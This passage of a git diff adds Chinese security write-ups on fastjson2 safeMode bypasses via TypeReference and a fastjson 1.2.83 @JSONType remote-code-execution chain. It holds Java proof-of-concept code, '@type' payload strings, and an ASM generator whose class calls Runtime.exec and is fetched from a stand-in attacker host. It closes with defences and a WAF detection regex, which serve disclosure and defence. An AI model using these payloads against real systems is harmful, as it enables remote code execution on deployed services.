"{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"t\",\"value\":1}}"; + static String listJson = "[{\"@type\":\"com.bypass.XClass\",\"name\":\"t\",\"value\":1}]"; + static String arrJson = "[[{\"@type\":\"com.bypass.XClass\",\"name\":\"t\",\"value\":1}]]"; + + record R(String id, String desc, String outcome, String detail) {} + + static R test(String id, String desc, Runnable r) { + try { r.run(); return new R(id, desc, "PASS", null); } + catch (JSONException e) { return new R(id, desc, "BLOCK", e.getMessage()); } + catch (Exception e) { return new R(id, desc, "ERROR", + e.getClass().getSimpleName() + ": " + e.getMessage()); } + } + + public static void main(String[] args) { + System.out.println("fastjson2: " + JSON.class.getPackage().getImplementationVersion()); + System.out.println("safeMode: " + + System.getProperty("fastjson2.parser.safeMode", "NOT SET") + "\n"); + + List results = new ArrayList<>(); + + results.add(test("A", "TypeRef>", + () -> JSON.parseObject(mapJson, + new TypeReference>() {}, + JSONReader.Feature.SupportAutoType))); + + results.add(test("B", "parseObject(json, Object.class)", + () -> JSON.parseObject(mapJson, Object.class))); + + results.add(test("C", "TypeRef>", + () -> JSON.parseObject(mapJson, + new TypeReference>() {}, + JSONReader.Feature.SupportAutoType))); + + results.add(test("D", "parseObject(json, XClass.class)", + () -> JSON.parseObject( + "{\"@type\":\"com.bypass.XClass\",\"name\":\"d\",\"value\":4}", + com.bypass.XClass.class))); + + results.add(test("E", "TypeRef>", + () -> JSON.parseObject(listJson, + new TypeReference>() {}, + JSONReader.Feature.SupportAutoType))); + + results.add(test("F", "TypeRef>", + () -> JSON.parseObject(arrJson, + new TypeReference>() {}, + JSONReader.Feature.SupportAutoType))); + + for (R r : results) + System.out.printf("%-4s %-39s %-6s %s%n", + r.id, r.desc, r.outcome, + r.detail != null ? r.detail : "-"); + } +} +``` + +ProveBypass.java —— 验证解析结果值的实际类型 + +```php +import com.alibaba.fastjson2.*; +import java.util.Map; + +public class ProveBypass { + public static void main(String[] args) { + String json = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"bypass\",\"value\":42}}"; + System.out.println("safeMode: " + System.getProperty("fastjson2.parser.safeMode")); + + System.out.println("\n--- A: TypeRef> ---"); + Map r1 = JSON.parseObject(json, + new TypeReference>() {}, + JSONReader.Feature.SupportAutoType); + Object v1 = r1.get("x"); + System.out.println("value class: " + v1.getClass().getName()); + System.out.println("value: " + v1); + + System.out.println("\n--- B: parseObject(Object.class) ---"); + Object r2 = JSON.parseObject(json, Object.class); + Object v2 = ((Map) r2).get("x"); + System.out.println("value class: " + v2.getClass().getName()); + } +} +``` + +编译并运行 + +```php +JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar +javac -cp "$JAR" /tmp/XClass.java -d /tmp +javac -cp "$JAR:/tmp" /tmp/SafeModeMatrix.java -d /tmp +javac -cp "$JAR:/tmp" /tmp/ProveBypass.java -d /tmp + +java -cp "/tmp:$JAR" -Dfastjson2.parser.safeMode=true SafeModeMatrix + +java -cp "/tmp:$JAR" -Dfastjson2.parser.safeMode=true ProveBypass +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785143968862-3aec43df-8a85-4bf4-bcf3-4ae029706592.png) + +① SafeModeMatrix 全 PASS + +safeMode 对 String 路径不抛异常——@type 被静默忽略,值降级为 JSONObject。 + +全 PASS 不意味着安全,必须检查值的实际类型。 + +② ProveBypass A: value class: com.bypass.XClass + +TypeReference 路径在 safeMode=true 下成功将 @type 解析并实例化为 XClass。 + +\[XClass\] 出现在控制台,证明静态初始化块已执行。 + +safeMode 在此路径不生效。 + +③ ProveBypass B: value class: com.alibaba.fastjson2.JSONObject + +String 路径上 @type 被静默忽略,值降级为 JSONObject,XClass 未被加载。 + +**safeMode 在此路径生效。** + +safeMode 在 String 路径上不抛异常——`checkAutoType` 返回 null 后,@type 被静默忽略,值降级为 `JSONObject`。拦截表现形式是值的实际类型为 `JSONObject`,而非异常退出。 + +* * * + +## @type 路径分叉 + +C 组被拦截而 A 组绕行,根因在 `ObjectReaderImplObject.readObject`(行 64-130)对 JSON 中 `@type` 键的分发逻辑: + +```php +if (hash == HASH_TYPE) { + boolean supportAutoType = context.isEnabled(JSONReader.Feature.SupportAutoType); + ObjectReader autoTypeObjectReader; + if (supportAutoType) { + long typeHash = jsonReader.readTypeHashCode(); + autoTypeObjectReader = context.getObjectReaderAutoType(typeHash); + if (autoTypeObjectReader == null) { + typeName = jsonReader.getString(); + autoTypeObjectReader = context.getObjectReaderAutoType(typeName, null); + } + } else { + typeName = jsonReader.readString(); + autoTypeObjectReader = context.getObjectReaderAutoType(typeName, null); + } + if (autoTypeObjectReader != null) + return autoTypeObjectReader.readObject(jsonReader, fieldType, fieldName, features); +} +``` + +`getObjectReaderAutoType(String, Class)`(`JSONReader.java` 行 4202-4211)是分叉点: + +```php +public ObjectReader getObjectReaderAutoType(String typeName, Class expectClass) { + if (autoTypeBeforeHandler != null) { + Class autoTypeClass = autoTypeBeforeHandler.apply(typeName, expectClass, features); + if (autoTypeClass != null) { + boolean fieldBased = (features & Feature.FieldBased.mask) != 0; + return provider.getObjectReader(autoTypeClass, fieldBased); + + } + } + return provider.getObjectReader(typeName, expectClass, features); + +} +``` + +当外层通过 TypeReference> 已构建了 `ObjectReaderImplMapTyped`(`valueType = XClass.class`),Map 的 value 读取不再经过 `ObjectReaderImplObject.readObject`。`ObjectReaderImplMapTyped.readObject` 行 382 直接 `jsonReader.getObjectReader(valueType)`——Type 路径。 + +`SupportAutoType` 标记位的行为:safeMode 的拦截逻辑只在 `checkAutoType` 内部生效,而 Type 路径从不调用 `checkAutoType`——传不传 `SupportAutoType` 对 TypeReference 入口没有影响。去掉 flag 重新运行 ProveBypass,XClass 依然被实例化。 + +* * * + +## 换个版本打 + +diff 2.0.43 和 2.0.51 的 `ObjectReaderProvider`: + +```php +JAR43=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar +JAR51=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.51/fastjson2-2.0.51.jar +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785144105109-b592d007-d518-4067-bb8c-f32ee711df0d.png) + +过滤出 `getObjectReader` 和 `checkAutoType` 差异行: + +```php +diff -u \ + <(javap -c -p -classpath "$JAR43" com.alibaba.fastjson2.reader.ObjectReaderProvider) \ + <(javap -c -p -classpath "$JAR51" com.alibaba.fastjson2.reader.ObjectReaderProvider) \ + | grep -E "^[+-].*getObjectReader|^[+-].*checkAutoType" +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785144821888-630095ba-f18f-463b-ab4c-3d6c80f3e842.png) + +### 2.0.43 vs 2.0.51 + +| | | | +| --- | --- | --- | +| 方法 | 2.0.43 | 2.0.51 | +| getObjectReader(Type, boolean) 调 checkAutoType? | 否 | 否 | +| getObjectReader(String, Class, long) 调 checkAutoType? | 是 | 是 | +| checkAutoType 签名 | (String, Class, long) | (String, Class, long) | +| 新增 Type 版本 checkAutoType? | — | 否 | + +2.0.51 在 Type 路径上没有补丁。 + +* * * + +## cache key 的等价性 + +不同 `new TypeReference>(){}` 产生的 `ParameterizedTypeImpl` 实例,在 `ConcurrentHashMap` 中是否被视为同一 key?如果 equals 为假,cache 跨请求共享就不成立。 + +JDKTypeCmp.java —— 验证两次 new TypeReference 的 Type 等价性 + +```php +import com.alibaba.fastjson2.TypeReference; +import java.lang.reflect.*; +import java.util.concurrent.ConcurrentHashMap; + +public class JDKTypeCmp { + public static void main(String[] args) { + System.out.println("JDK: " + System.getProperty("java.version")); + + TypeReference> r1 = + new TypeReference>() {}; + TypeReference> r2 = + new TypeReference>() {}; + Type t1 = r1.getType(); + Type t2 = r2.getType(); + + System.out.println("equals : " + t1.equals(t2)); + System.out.println("hash t1 : " + t1.hashCode() + + " (0x" + Integer.toHexString(t1.hashCode()) + ")"); + System.out.println("hash t2 : " + t2.hashCode() + + " (0x" + Integer.toHexString(t2.hashCode()) + ")"); + System.out.println("hash_eq : " + (t1.hashCode() == t2.hashCode())); + + ConcurrentHashMap m = new ConcurrentHashMap<>(); + m.put(t1, "a"); + m.put(t2, "b"); + System.out.println("CHM.size: " + m.size() + " (1=等价, 2=不等价)"); + } +} +``` + +编译运行: + +```php +JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar +javac -cp "$JAR:/tmp" /tmp/JDKTypeCmp.java -d /tmp +java -cp "/tmp:$JAR" JDKTypeCmp +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785144979927-0b0ad515-fc2d-4d99-9541-90a2e9c4e388.png) + +`equals=true`、hashCode 相同、CHM.size=1——两个独立 `new TypeReference` 产生的 Type 实例在 ConcurrentHashMap 中被视为同一 key。第一次解析写入的缓存条目会被之后所有同型声明命中。`ParameterizedTypeImpl.equals()` 比较了 `rawType` 和 `actualTypeArguments` 的逐元素等同性——只要泛型声明一致,不同匿名子类实例产出的 Type 就等价。 + +* * * + +## source-sink 全链路 + +一条 payload,两个入口,走出两条完全不同的路径。 + +```php +String payload = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"bypass\",\"value\":42}}"; + + + Map r1 = JSON.parseObject(payload, + new TypeReference>() {}, + JSONReader.Feature.SupportAutoType); + + + Object r2 = JSON.parseObject(payload, Object.class); +``` + +`TypeReference` 匿名子类的 Signature 属性 在 JVM 类加载时被解析为 `ParameterizedTypeImpl`,`XClass.class` 以 `Class` 对象放入 `actualTypeArguments[1]`。不是字符串,不走 `checkAutoType`。 + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785228659263-4e9442d5-24d3-4739-8b7d-600630b6383d.png) + +## Type 入参即放行 + +前面六层调用链的主干是 `JSON.parseObject(json, TypeReference)` → `getObjectReader(Type, boolean)`。以下三条策略表明同样的效果可以通过不同的入口达成。 + +- **策略一:利用** `getObjectReaderAutoType` **中的 Type 分支**。`ObjectReaderImplObject.readObject`(行 64)处理 JSON 中的 `@type` 时,调用 `context.getObjectReaderAutoType(typeName, null)`。该方法内部(`JSONReader.java` 行 4202-4211)在 `autoTypeBeforeHandler` 返回非 null 的 `Class` 时走 `provider.getObjectReader(autoTypeClass, fieldBased)`——Type 路径。默认的 `DEFAULT_AUTO_TYPE_BEFORE_HANDLER` 始终返回 null,但调用方可通过 `JSONReader.Context` 注册自定义 Handler。一个注册了自定义 `AutoTypeBeforeHandler` 的业务模块——即使 safeMode=true——只要 Handler 对某个 className 返回了对应的 Class,该类便走 Type 路径绕过 checkAutoType。 +- **策略二:操作** `ObjectReaderImplMapTyped` **的 valueReader 缓存**。`ObjectReaderImplMapTyped` 有两个解析 valueReader 的时机:构造期 `createInstance`(行 94)和运行时 `readObject`(行 382),都调 `provider.getObjectReader(valueType)`——Type 路径。`createInstance` 在 Map 的值是 JSONObject/JSONArray/Map/Collection 时被触发。预热一次解析(用一个无害 JSON 触发 `createInstance`),valueReader 被缓存在实例字段中,后续 `readObject` 直接复用,不再经过任何解析。 +- **策略三:绕过 Provider,直接使用 ObjectReaderCreator**。`ObjectReaderCreator.createObjectReader(Class, Type, boolean, ObjectReaderProvider)` 不经过 `ObjectReaderProvider.getObjectReader` 的任何重载。调用方分布在 `ObjectReaderBaseModule` 和多个 `ObjectReaderImpl*` 中: + +```php + +if (objectReader == null) { + ObjectReaderCreator creator = getCreator(); + objectReader = creator.createObjectReader(objectClass, objectType, fieldBased, this); + +} +``` + +以下五个入口与前文主干路径等效,都因入参是 Type 而跳过 checkAutoType: + +| | | | | +| --- | --- | --- | --- | +| 调用位置 | 行号 | 调用形式 | 触发条件 | +| getObjectReaderInternal | 798 | getObjectReader(rawClass, fieldBased) | ParameterizedType 的 rawType 是 Class | +| ObjectReaderImplMapTyped.createInstance | 94 | provider.getObjectReader(valueType) | Map 值是 JSONObject/Map/Collection | +| ObjectReaderImplMapTyped.readObject | 382 | jsonReader.getObjectReader(valueType) | valueObjectReader 未初始化 | +| getObjectReaderAutoType | 4207 | provider.getObjectReader(autoTypeClass, fieldBased) | Handler 返回非 null Class | +| ObjectReaderCreator | — | creator.createObjectReader(...) | 被各 Module 直接调用 | + +在 2.0.43 和 2.0.51 中,以上所有入口的字节码均不包含 `checkAutoType` 调用。关闭此面的方式是在 `getObjectReader(Type, boolean)` 方法体内对遍历出来的每个 `Class` 调用 `checkAutoType`——在字节码层补齐一条 `invokevirtual checkAutoType` 到 Type 分支上。 + +## 与官方修复的对比 + +社区提交的 [PR #7695](https://github.com/alibaba/fastjson2/pull/7695) 对 AutoType 路径做了安全加固,改动了四个文件: + +- `ObjectReaderProvider.java`——checkAutoType 白名单验证 +- `ContextAutoTypeBeforeHandler.java`——输入验证 +- `TypeUtils.java`——loadClass 输入校验 +- `AutoTypeValidationTest.java`——回归测试 + +维护者 wenshao 在 [Issue #7702](https://github.com/alibaba/fastjson2/issues/7702) 中说明该 PR 已关闭未合入,正式修复将通过独立 PR 发布,临时缓解措施为 `-Dfastjson2.parser.safeMode=true`。 + +PR 的全部改动都在 `checkAutoType` 和 `TypeUtils.loadClass` 中。这两个方法只在 String 路径上被调用——即 `parseObject(json, Class)` 或 JSON 中 `@type` 经 `getObjectReaderAutoType` → `getObjectReader(String)` 的路径。javap 统计已展示 Type 重载及 getObjectReaderInternal 中 checkAutoType 调用次数为零,ProveBypass 实测确认 safeMode 对 TypeReference 入口不拦截。 + +String 路径上,PR 的加固和 SafeMode 都在生效。TypeReference 路径上,两者都不生效——这条路不经过它们所在的代码位置。 + +## 附录 + +[fastjson2/core/src/main/java/com/alibaba/fastjson2 at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/tree/2.0.43/core/src/main/java/com/alibaba/fastjson2) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/tree/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader) [fastjson2/core/src/main/java/com/alibaba/fastjson2/JSON.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/JSON.java) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java)[fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderBaseModule.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderBaseModule.java) + +[fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMap.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMap.java) + +[fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMapTyped.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMapTyped.java) + +[fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplObject.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplObject.java) + +[fastjson2/core/src/main/java/com/alibaba/fastjson2/JSONReader.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/JSONReader.java) + +对照版本用: + +[fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java at 2.0.51 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.51/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java) diff --git "a/books/\344\273\216 checkAutoType \345\210\260 defineClass\357\274\232fastjson 1.2.83 @JSONType \346\263\250\350\247\243\346\216\242\346\265\213\351\223\276\347\232\204\345\256\214\346\225\264\351\200\206\345\220\221\344\270\216\345\210\251\347\224\250.md" "b/books/\344\273\216 checkAutoType \345\210\260 defineClass\357\274\232fastjson 1.2.83 @JSONType \346\263\250\350\247\243\346\216\242\346\265\213\351\223\276\347\232\204\345\256\214\346\225\264\351\200\206\345\220\221\344\270\216\345\210\251\347\224\250.md" new file mode 100644 index 000000000..e7b6e077a --- /dev/null +++ "b/books/\344\273\216 checkAutoType \345\210\260 defineClass\357\274\232fastjson 1.2.83 @JSONType \346\263\250\350\247\243\346\216\242\346\265\213\351\223\276\347\232\204\345\256\214\346\225\264\351\200\206\345\220\221\344\270\216\345\210\251\347\224\250.md" @@ -0,0 +1,287 @@ +# 从 checkAutoType 到 defineClass:fastjson 1.2.83 @JSONType 注解探测链的完整逆向与利用 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4992 + +## 一、引子 + +过去七年,fastjson 反序列化漏洞的利用范式高度一致: + +1. 绕过黑名单(`denyList`)找到一个危险类 +2. 构造 JSON payload 触发 `@type` 解析 +3. 依赖经典 gadget(`JdbcRowSetImpl` / `TemplatesImpl`)完成 JNDI 注入或字节码加载 + +这条新链打破了所有惯例: + +- **不需要打开 AutoType**:利用点在 `checkAutoType` 的注解探测逻辑 +- **不需要经典 gadget**:payload 是一个自定义的远程 class(`jar:http://...`) +- **不依赖传统 gadget 的二次调用**:class 在后续实例化或首次主动使用时完成初始化,触发 `` +- **类型绑定 `parseObject(body, Dto.class)` 无法防御** + +笔者的第一反应是"这怎么可能"。直到读完 `ParserConfig.checkAutoType` 的每一行代码。 + +* * * + +## 二、`checkAutoType` 的五个攻击阶段 + +`com.alibaba.fastjson.parser.ParserConfig.checkAutoType(String typeName, Class expectClass, int features)` 是 fastjson 处理 `@type` 的核心入口。无论 `JSON.parse(body)` 还是 `JSON.parseObject(body, SomeClass.class)`,最终都会走到这里。 + +关键代码段(fastjson 1.2.83): + +```java + +if (autoTypeSupport || expectClassFlag) { + +} + + +boolean jsonType = false; +InputStream is = null; +try { + String resource = typeName.replace('.', '/') + ".class"; + if (defaultClassLoader != null) { + is = defaultClassLoader.getResourceAsStream(resource); + } else { + is = ParserConfig.class.getClassLoader() + .getResourceAsStream(resource); + } + if (is != null) { + ClassReader classReader = new ClassReader(is, true); + TypeCollector visitor = new TypeCollector("", new Class[0]); + classReader.accept(visitor); + jsonType = visitor.hasJsonType(); + } +} catch (Exception e) { + +} finally { + IOUtils.close(is); +} + + +if (autoTypeSupport || jsonType || expectClassFlag) { + boolean cacheClass = autoTypeSupport || jsonType; + clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); +} + + +if (clazz != null) { + if (jsonType) { + if (autoTypeSupport) { + TypeUtils.addMapping(typeName, clazz); + } + return clazz; + } + + +} +``` + +### 2.1 攻击面一:`typeName.replace('.', '/')` — 字符串转换即 sink + +`typeName` 来自 JSON 中的 `@type` 字段值,完全由攻击者控制。`replace('.', '/')` 的语义是"将 Java 全限定类名转换为 classpath 资源路径"。但当 `typeName` 不是类名而是一个 URL 时,这个操作就变成了 URL 构造。 + +关键技巧——攻击者用 `..` 表示 `//`,因为 `..` 中每个 `.` 会被替换为 `/`: + +```php +输入 typeName: jar:http:..2130706433:18080.probe!.POC + ↓ replace('.', '/') +输出 resource: jar:http: +``` + +`2130706433` = `127.0.0.1` 的 32 位无符号整数表示。整数 IP 必须用于绕过 dotted hostname 因为 hostname 中的 `.` 也会被变成 `/`。 + +### 2.2 攻击面二:`classLoader.getResourceAsStream()` — 取决于 ClassLoader 实现 + +这是整条链最关键的分叉点。`getResourceAsStream()` 能否将上面的 URL 解析为远程资源,完全取决于 `defaultClassLoader` 的具体类型: + +| | | | +| --- | --- | --- | +| ClassLoader 类型 | 行为 | 结果 | +| JDK AppClassLoader | 通常只搜索 classpath 中的 jar/目录 | 一般返回 null,链断 | +| 独立 WAR 场景中的 Tomcat WebappClassLoader | 通常搜索 WEB-INF/lib 和 WEB-INF/classes | 一般返回 null,链断 | +| Spring Boot fat-jar 启动 ClassLoader(2.x 的 LaunchedURLClassLoader、3.x 的对应实现) | 特定版本可把构造后的绝对资源名按 http: / jar: / file: URL 处理 | 可能远程取回 class/JAR,链继续 | + +这里必须区分“独立 Tomcat 的 `WebappClassLoader`”与“Spring Boot 内嵌 Tomcat”。后者的应用类通常由 Spring Boot 启动 ClassLoader 管理,因此长亭报告中内嵌 Tomcat、Jetty、Undertow 均可受影响并不矛盾;决定性因素是**实际承接 fastjson 资源查找与类加载的 ClassLoader**,而不是内嵌容器品牌本身。 + +此处 `is != null` 意味着攻击者的远程 class 字节码已经被加载到内存,等待下一步的 ASM 分析。 + +### 2.3 攻击面三:ASM 字节码探针 — `@JSONType` 即通行证 + +```java +ClassReader classReader = new ClassReader(is, true); +TypeCollector visitor = new TypeCollector("", new Class[0]); +classReader.accept(visitor); +jsonType = visitor.hasJsonType(); +``` + +这段代码用 ASM 扫描攻击者提供的 class 字节码,检查是否包含 `@com.alibaba.fastjson.annotation.JSONType` 注解。**它只做注解检查,不验证类的合法性、不检查类名、不限制类的来源**。只要注解存在,`jsonType` 就设为 `true`。 + +这个设计本意是性能优化——通过注解快速判断一个类是否被 fastjson 管理。问题是它**没有验证字节码来源**。攻击者提供的远程 class 只要加上 `@JSONType` 注解,就能通过这道门。 + +### 2.4 攻击面四:`TypeUtils.loadClass()` — 从字节码到 defined class + +```java +if (autoTypeSupport || jsonType || expectClassFlag) { + boolean cacheClass = autoTypeSupport || jsonType; + clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); +} +``` + +`jsonType == true` 时,即使 `autoTypeSupport == false`,也会进入 `loadClass`。`TypeUtils.loadClass()` 会依次尝试显式 ClassLoader、线程上下文 ClassLoader 和 `Class.forName()`;JDK 8 的公开短链可直接使用构造后的 `http:` / `jar:http:` 类型名,现代 JDK 的替代链还会使用 `jar:file:` 重新打开已缓存的远程 JAR。 + +此时攻击者的 class 会进入 JVM 的加载/定义流程。需要注意:**`defineClass` 本身只完成类定义,并不保证立即执行 ``**;类初始化通常由 `Class.forName()` 的初始化语义,或 fastjson 后续实例化、首次主动使用该类时触发。对利用结果而言仍可在同一次解析请求中执行代码,但不应把“定义类”和“初始化类”写成同一个 JVM 阶段。 + +### 2.5 攻击面五:短路跳过所有安全检查 + +```java +if (jsonType) { + if (autoTypeSupport) { + TypeUtils.addMapping(typeName, clazz); + } + return clazz; +} +``` + +`jsonType == true` 的 `return clazz` 跳过了: + +- `ClassLoader` / `DataSource` / `RowSet` 的硬编码拦截 +- `denyList` 黑名单检查 +- `expectClass.isAssignableFrom(clazz)` 类型兼容性检查 + +这就是为什么 `parseObject(body, Dto.class)` 也无法防御——class 的加载和初始化发生在类型绑定之前。 + +* * * + +## 三、payload 构造:JDK 8 直接短链的 Gen.java 示例 + +下面的 `Gen.java` 展示的是 JDK 8 直接远程 class 短链。现代 JDK 的完整链还需要为远程 JAR 缓存和不同 FD 候选生成对应入口 class,不应把这个单 class 示例视为 JDK 17+ 的完整 payload。该短链中的 class 需要满足三个条件: + +1. 携带 `@JSONType` 注解(通过 ASM probe) +2. 内部名等于该短链使用的 `jar:http://...` URL +3. `` 执行攻击逻辑(在类初始化时触发) + +`Gen.java` 使用 ASM `ClassWriter` 直接构造字节码: + +```java + +String internalName = "jar:http://attacker:8000/probe!/POC"; +ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); +cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, + internalName, null, "java/lang/Object", null); + + +cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true) + .visitEnd(); + + +MethodVisitor m = cw.visitMethod(Opcodes.ACC_STATIC, "", + "()V", null, null); +m.visitCode(); + +m.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", + "getRuntime", "()Ljava/lang/Runtime;", false); + +m.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", + "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); +m.visitInsn(Opcodes.RETURN); +``` + +JDK 版本影响的是**具体利用路径**,不能直接等同于是否可 RCE: + +- **JDK 8**:已公开的短链可以直接加载 `http:..` / `jar:http:..` 对应的远程 class,实现 RCE。 +- **现代 JDK(公开验证覆盖 JDK 17 / 21 / 25)**:上述短链确实会因类名格式校验抛出 `ClassFormatError: Illegal class name`,但这只说明**短链失效**。公开技术分析展示了替代路径:先用 `jar:http:` 促使 JVM 下载远程 JAR 并生成 `jar_cache*` 临时缓存,再通过 Linux 的 `/proc/self/fd/N` 或 macOS 的 `/dev/fd/N` 以 `jar:file:` 重新打开该缓存,使用满足现代 JVM 类名校验的内部名完成 RCE。 +- - \* + +## 四、已验证的利用窗口与边界 + +本文分析对象是 fastjson 1.2.83;原始披露确认的测试范围为 1.2.68–1.2.83,更早版本是否具备完全相同的端到端条件应单独验证。当前公开验证可概括为: + +| 已验证/报告的环境 | 结果 | 关键边界 | +| --- | --- | --- | +| Spring Boot fat-jar + JDK 8 | RCE | 可走直接远程 class 短链 | +| Spring Boot fat-jar + JDK 17 / 21 / 25 + Linux | RCE | 可走远程 JAR 缓存与 /proc/self/fd 重开链 | +| Spring Boot fat-jar + JDK 17 / 21 / 25 + macOS | RCE | 可使用 /dev/fd 等价路径 | +| Windows + 高版本 JDK | 当前报告中的现代 JDK 链未成功 | 不能据此推导组件已修复,只能说明该利用路径受限 | +| 无法解析绝对 URL 资源名的普通 ClassLoader,或 JVM 无必要出网能力 | 链断 | 与 JDK 主版本无关 | + +所以,根据全网三方资料的验证,更准确的交集是:**受影响的 fastjson、未启用 SafeMode、攻击者可控的 `@type`、能够处理构造资源名的实际 ClassLoader,以及可达的出站网络**;现代 JDK 链还需要对应操作系统提供可利用的文件描述符重开路径。 + +> 核对来源:[长亭安全应急响应中心二次更新](https://mp.weixin.qq.com/s/ngrBwRPtFzM4G3A_P9SCog)给出了 JDK 8 / 17 / 21 / 25 与操作系统差异的复现结论;[公开技术分析](https://www.gcsa.org/media/fastjson-1-2-83-gadget-free-rce)说明了现代 JDK 上远程 JAR 缓存与 FD 重开链。原始披露确认的版本测试范围见 [Kirill Firsov 的披露线程](https://x.com/k_firsov/status/2078872293745570032)。 + +## 五、防御体系:从单点到纵深 + +### 5.1 代码层:优先启用 `safeMode` + +```bash +-Dfastjson.parser.safeMode=true +``` + +在未注册自定义检查器的常规路径中,`safeMode` 会在资源访问和注解探测之前终止 `@type` 处理,是首选临时缓解措施。需要额外审计 `AutoTypeCheckHandler`:fastjson 1.2.83 源码中该 handler 的调用位于 SafeMode 检查之前。长期方案仍应是迁移至 fastjson2,并完成兼容性回归。 + +### 5.2 ClassLoader 层:审计实际资源查找与类加载链 + +`defaultClassLoader` 不是唯一入口:未显式设置时,资源探测会回退到 `ParserConfig.class.getClassLoader()`;`TypeUtils.loadClass()` 还会继续尝试线程上下文 ClassLoader 和 `Class.forName()`。因此应审计实际运行时链路,而不是只搜索 `setDefaultClassLoader()` 调用: + +- 不让承接不可信 JSON 解析的 ClassLoader 将构造后的绝对 `http:` / `jar:` / `file:` 资源名当作合法 classpath 资源 +- 核对 Spring Boot 启动方式、线程上下文 ClassLoader 和自定义 ClassLoader;不要因代码未调用 `setDefaultClassLoader()` 就判定不受影响 + +### 5.3 网络与运行时层:采用出站白名单 + +不要只按 `jar:http`、端口或 `User-Agent: Java` 做字符串拦截:JDK 8 短链可以使用直接 `http:` 资源,现代链还会组合 `jar:http:` 与本地 `jar:file:`。更可靠的方案是对业务 JVM/容器实施**默认拒绝的出站策略**,仅放行明确需要访问的域名、IP 和端口,并监控异常 `.class`/无扩展名 JAR 下载与 JVM 临时目录中的 `jar_cache*` 文件。 + +在现代 JDK 环境中,还可以把 `/proc/self/fd`、`/dev/fd` 暴露面和容器沙箱作为附加加固点,但这些措施都不应替代 SafeMode 或组件迁移。**升级 JDK 只能作为常规运行时加固,不能单独修复本漏洞。** + +### 5.4 WAF / API 网关临时检测方案 + +不建议继续使用 `(jar:|2130706433|!)` 对 `@type` 的值做简单黑名单:单独匹配 `!` 容易误报,`2130706433` 只是众多主机表示之一,而且规则会漏掉直接 `http:..`、其他整数 IP/DNS 标签、`jar:file:` 以及混合转义形式。更稳妥的方案分两层: + +#### 方案 A:业务不需要 `@type` 时,规范化后直接拒绝该键(推荐) + +在能读取完整请求体的 WAF phase 2、API 网关插件或应用前置过滤器中: + +1. 仅对实际进入 fastjson 的接口启用规则; +2. 先处理 `Content-Encoding`,必要时做 URL 解码,再按 fastjson 可接受的语法解析或规范化字段名; +3. 递归检查请求体、嵌套对象以及会被业务送入 fastjson 的 URL 参数; +4. 只要**解码后的键精确等于 `@type`**,就拒绝请求;解析失败时不要回退为放行。 + +```text +if request_reaches_fastjson(request): + document = parse_or_reject(normalize_request(request)) + if contains_key_recursively(document, "@type"): + return 403 +``` + +原始请求体正则只能作为兜底。下面的 PCRE 思路同时覆盖双引号、单引号/未引号字段,以及逐字符混用明文、Unicode 和 fastjson `\xNN` 转义的 `@type`: + +```regex +(?s)(?:^|[,{]\s*)(["']?)(?:@|\\u0040|\\x40)(?:t|\\u0074|\\x74)(?:y|\\u0079|\\x79)(?:p|\\u0070|\\x70)(?:e|\\u0065|\\x65)\1\s*: +``` + +该表达式应放在**已取得完整、解压后请求体**的处理阶段;直接在 Nginx rewrite 阶段读取 `$request_body` 可能拿不到完整 body。原始文本正则也无法正确理解所有字符串边界、重复键和多层编码,因此不能替代 JSON 解析后的键检查。 + +#### 方案 B:业务确实依赖 `@type` 时,按接口做精确白名单 + 